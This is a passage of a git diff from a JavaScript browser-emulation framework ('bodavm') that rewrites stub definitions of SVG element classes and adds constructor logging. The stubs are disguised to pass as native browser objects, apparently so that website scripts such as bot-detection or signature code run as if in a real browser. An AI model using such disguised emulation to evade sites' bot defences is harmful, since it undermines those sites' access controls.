value:0}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "tableValues", {configurable:true, enumerable:true, get:function tableValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "tableValues_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "slope", {configurable:true, enumerable:true, get:function slope (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "slope_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "intercept", {configurable:true, enumerable:true, get:function intercept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "intercept_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "amplitude", {configurable:true, enumerable:true, get:function amplitude (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "amplitude_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "exponent", {configurable:true, enumerable:true, get:function exponent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "exponent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "offset", {configurable:true, enumerable:true, get:function offset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "offset_get", arguments)}, set:undefined},'prototype'); +// SVGComponentTransferFunctionElement对象 + +bodavm.memory.globalobj['SVGComponentTransferFunctionElement'] = function SVGComponentTransferFunctionElement() { + console.log_copy('SVGComponentTransferFunctionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGComponentTransferFunctionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGComponentTransferFunctionElement'], "SVGComponentTransferFunctionElement"); +bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "tableValues", { + configurable: true, + enumerable: true, + get: function tableValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "tableValues_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "slope", { + configurable: true, + enumerable: true, + get: function slope() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "slope_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "intercept", { + configurable: true, + enumerable: true, + get: function intercept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "intercept_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "amplitude", { + configurable: true, + enumerable: true, + get: function amplitude() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "amplitude_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "exponent", { + configurable: true, + enumerable: true, + get: function exponent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "exponent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "offset", { + configurable: true, + enumerable: true, + get: function offset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "offset_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGDefsElement.js b/env_xbb_lastest_jsdom/env/SVGDefsElement.js index e83db00f..1b19e721 100644 --- a/env_xbb_lastest_jsdom/env/SVGDefsElement.js +++ b/env_xbb_lastest_jsdom/env/SVGDefsElement.js @@ -1,5 +1,19 @@ -// SVGDefsElement对象 -bodavm.memory.globalobj['SVGDefsElement'] = function SVGDefsElement(){if (!(this instanceof SVGDefsElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGDefsElement'], "SVGDefsElement"); -bodavm.memory.globalobj['SVGDefsElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGDefsElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; +// SVGDefsElement对象 + +bodavm.memory.globalobj['SVGDefsElement'] = function SVGDefsElement() { + console.log_copy('SVGDefsElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGDefsElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGDefsElement'], "SVGDefsElement"); +bodavm.memory.globalobj['SVGDefsElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGDefsElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGDescElement.js b/env_xbb_lastest_jsdom/env/SVGDescElement.js index e7f07617..70929d1b 100644 --- a/env_xbb_lastest_jsdom/env/SVGDescElement.js +++ b/env_xbb_lastest_jsdom/env/SVGDescElement.js @@ -1,5 +1,19 @@ -// SVGDescElement对象 -bodavm.memory.globalobj['SVGDescElement'] = function SVGDescElement(){if (!(this instanceof SVGDescElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGDescElement'], "SVGDescElement"); -bodavm.memory.globalobj['SVGDescElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGDescElement'].__proto__=bodavm.memory.globalobj['SVGElement']; +// SVGDescElement对象 + +bodavm.memory.globalobj['SVGDescElement'] = function SVGDescElement() { + console.log_copy('SVGDescElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGDescElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGDescElement'], "SVGDescElement"); +bodavm.memory.globalobj['SVGDescElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGDescElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGElement.js b/env_xbb_lastest_jsdom/env/SVGElement.js index 7ec2bc45..34d3f632 100644 --- a/env_xbb_lastest_jsdom/env/SVGElement.js +++ b/env_xbb_lastest_jsdom/env/SVGElement.js @@ -1,112 +1,1075 @@ -// SVGElement对象 -bodavm.memory.globalobj['SVGElement'] = function SVGElement(){if (!(this instanceof SVGElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGElement'], "SVGElement"); -bodavm.memory.globalobj['SVGElement'].prototype.__proto__=bodavm.memory.globalobj['Element'].prototype; -bodavm.memory.globalobj['SVGElement'].__proto__=bodavm.memory.globalobj['Element']; -bodavm.toolsFunc.defineProperty('SVGElement', "className", {configurable:true, enumerable:true, get:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "className_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ownerSVGElement", {configurable:true, enumerable:true, get:function ownerSVGElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ownerSVGElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "viewportElement", {configurable:true, enumerable:true, get:function viewportElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "viewportElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onbeforeinput", {configurable:true, enumerable:true, get:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforeinput_get", arguments)}, set:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforeinput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplaythrough_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextlost_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, 